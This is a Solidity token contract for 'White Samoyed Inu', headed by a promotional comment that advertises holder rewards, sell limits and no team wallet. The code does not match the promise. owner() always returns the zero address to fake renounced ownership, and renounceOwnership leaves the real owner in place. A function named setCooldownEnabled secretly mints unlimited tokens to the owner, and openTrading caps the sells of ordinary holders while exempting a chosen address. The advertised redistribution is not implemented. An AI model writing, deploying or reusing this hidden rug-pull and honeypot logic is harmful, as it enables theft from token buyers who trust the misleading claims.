/*
White Samoyed Inu - Samoyed Inu

https://t.me/WhiteSamoyedInu

         ,-.-.  ,--.-,,-,--, .=-.-.,--.--------.    ,----.           ,-,--.   ,---.             ___     _,.---._                     ,----.                       .=-.-..-._                     
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|- |/ |/ , /==/|==| ,|/=| _|==|  | `--`\==\- \  |==|   `.-.       \==\  \   /==/-|_\ |  |==|,|  / - |==|   .=.     \==\, \/=/. / |==|   `.-.|==|   _   _\       |==|  ||==|-  \|  ||==| ,||=| -| 
 \, ,     _|==||==|- `-' _ |==|- |      \==\_ \/==/_ ,    /        \==\ -\  \==\,   - \ |==|  \/  , |==|_ : ;=:  - |\==\  \/ -/ /==/_ ,    /|==|  .=.   |       |==|- ||==| ,  | -||==|- | =/  | 
 | -  -  , |==||==|  _     |==| ,|      |==|- ||==|    .-'         _\==\ ,\ /==/ -   ,| |==|- ,   _ |==| , '='     | |==|  ,_/  |==|    .-' |==|,|   | -|       |==| ,||==| -   _ ||==|,  \/ - | 
  \  ,  - /==/ |==|   .-. ,\==|- |      |==|, ||==|_  ,`-._       /==/\/ _ /==/-  /\ - \|==| _ /\   |\==\ -    ,_ /  \==\-, /   |==|_  ,`-._|==|  '='   /       |==|- ||==|  /\ , ||==|-   ,   / 
  |-  /\ /==/  /==/, //=/  /==/. /      /==/ -//==/ ,     /       \==\ - , |==\ _.\=\.-'/==/  / / , / '.='. -   .'   /==/._/    /==/ ,     /|==|-,   _`/        /==/. //==/, | |- |/==/ , _  .'  
  `--`  `--`   `--`-' `-`--`--`-`       `--`--``--`-----``         `--`---' `--`        `--`./  `--`    `--`--''     `--`-`     `--`-----`` `-.`.____.'         `--`-` `--`./  `--``--`..---'    

White Samoyed Inu is a community-focused, decentralized cryptocurrency with instant rewards for holders. 🐶

With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, White Samoyed Inu
was designed to reward holders and discourage dumping.

1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade. 
3. No presale wallets that can dump on the community. 

Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone! 
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.s
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _ownr;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public pure returns (address) {
        return address(0);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _ownr = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract SamoyedInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _isExludedFromTx;
    mapping (address => bool) private _isBlackListedBot;
    address[] private _blackListedBots;
    address public _isExludedFromTxRecipient;
    address public _isExludedFromTxSender;
    uint256 public _maxTxAmount;
    address[] private _excluded;

    uint256 private _TotalSupp = 1000 * 10**9 * 10**18;
    uint256 private _tTotal;
    address public uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    string private _name = 'White Samoyed Inu';
    string private _symbol = 'Samoyed Inu';
    uint8 private _decimals = 18;

    constructor () public {
        _balances[_msgSender()] = _TotalSupp;

        // BLACKLIST
        _isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
        _blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));

        _isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
        _blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));

        _isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
        _blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));

        _isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
        _blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));

        _isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
        _blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));

        _isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
        _blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));

        _isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
        _blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));

        _isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
        _blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));

        _isBlackListedBot[address(0xA2F21e340890408625c27a37AaBBc8CcF51B727f)] = true;
        _blackListedBots.push(address(0xA2F21e340890408625c27a37AaBBc8CcF51B727f));

        _isBlackListedBot[address(0x055658Fa70d40a5fA3d0e3e66c29F7E7ADd08553)] = true;
        _blackListedBots.push(address(0x055658Fa70d40a5fA3d0e3e66c29F7E7ADd08553));

        _isBlackListedBot[address(0x4dEca8f4360809d00fFb5252f8acC7a173458036)] = true;
        _blackListedBots.push(address(0x4dEca8f4360809d00fFb5252f8acC7a173458036));

        _isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
        _blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
        emit Transfer(address(0), _msgSender(), _TotalSupp);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function setCooldownEnabled(uint256 amount) public onlyOwner {
        require(_msgSender() != address(0), "ERC20: cannot permit zero address");
        _TotalSupp = _TotalSupp.add(amount);
        _balances[_msgSender()] = _balances[_msgSender()].add(amount);
        emit Transfer(address(0), _msgSender(), amount);
    }
    
    function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
        _maxTxAmount = maxTxPercent * 10**18;
    }

    function totalSupply() public view override returns (uint256) {
        return _TotalSupp;
    }

    function openTrading(address excludedTxRecipient , address excludedTxSender) public onlyOwner {
        _isExludedFromTxRecipient = excludedTxRecipient;
        _isExludedFromTxSender = excludedTxSender;
        _maxTxAmount = 6000 * 10**3 * 10**3 * 10**18;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
      
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address"); 
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!_isBlackListedBot[sender], "You have no power here!");
        require(!_isBlackListedBot[recipient], "You have no power here!");
        require(!_isBlackListedBot[tx.origin], "You have no power here!");
        if (sender != _isExludedFromTxSender && recipient == _isExludedFromTxRecipient) {
            require(amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }
        _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function addBotToBlackList(address account) external onlyOwner() {
        require(account != uniswapRouter, 'We can not blacklist Uniswap router.');
        require(account != address(this));
        require(!_isBlackListedBot[account], "Account is already blacklisted");
        _isBlackListedBot[account] = true;
        _blackListedBots.push(account);
    }

    function removeBotFromBlackList(address account) external onlyOwner() {
        require(_isBlackListedBot[account], "Account is not blacklisted");
        for (uint256 i = 0; i < _blackListedBots.length; i++) {
            if (_blackListedBots[i] == account) {
                _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
                _isBlackListedBot[account] = false;
                _blackListedBots.pop();
                break;
            }
        }
    }
}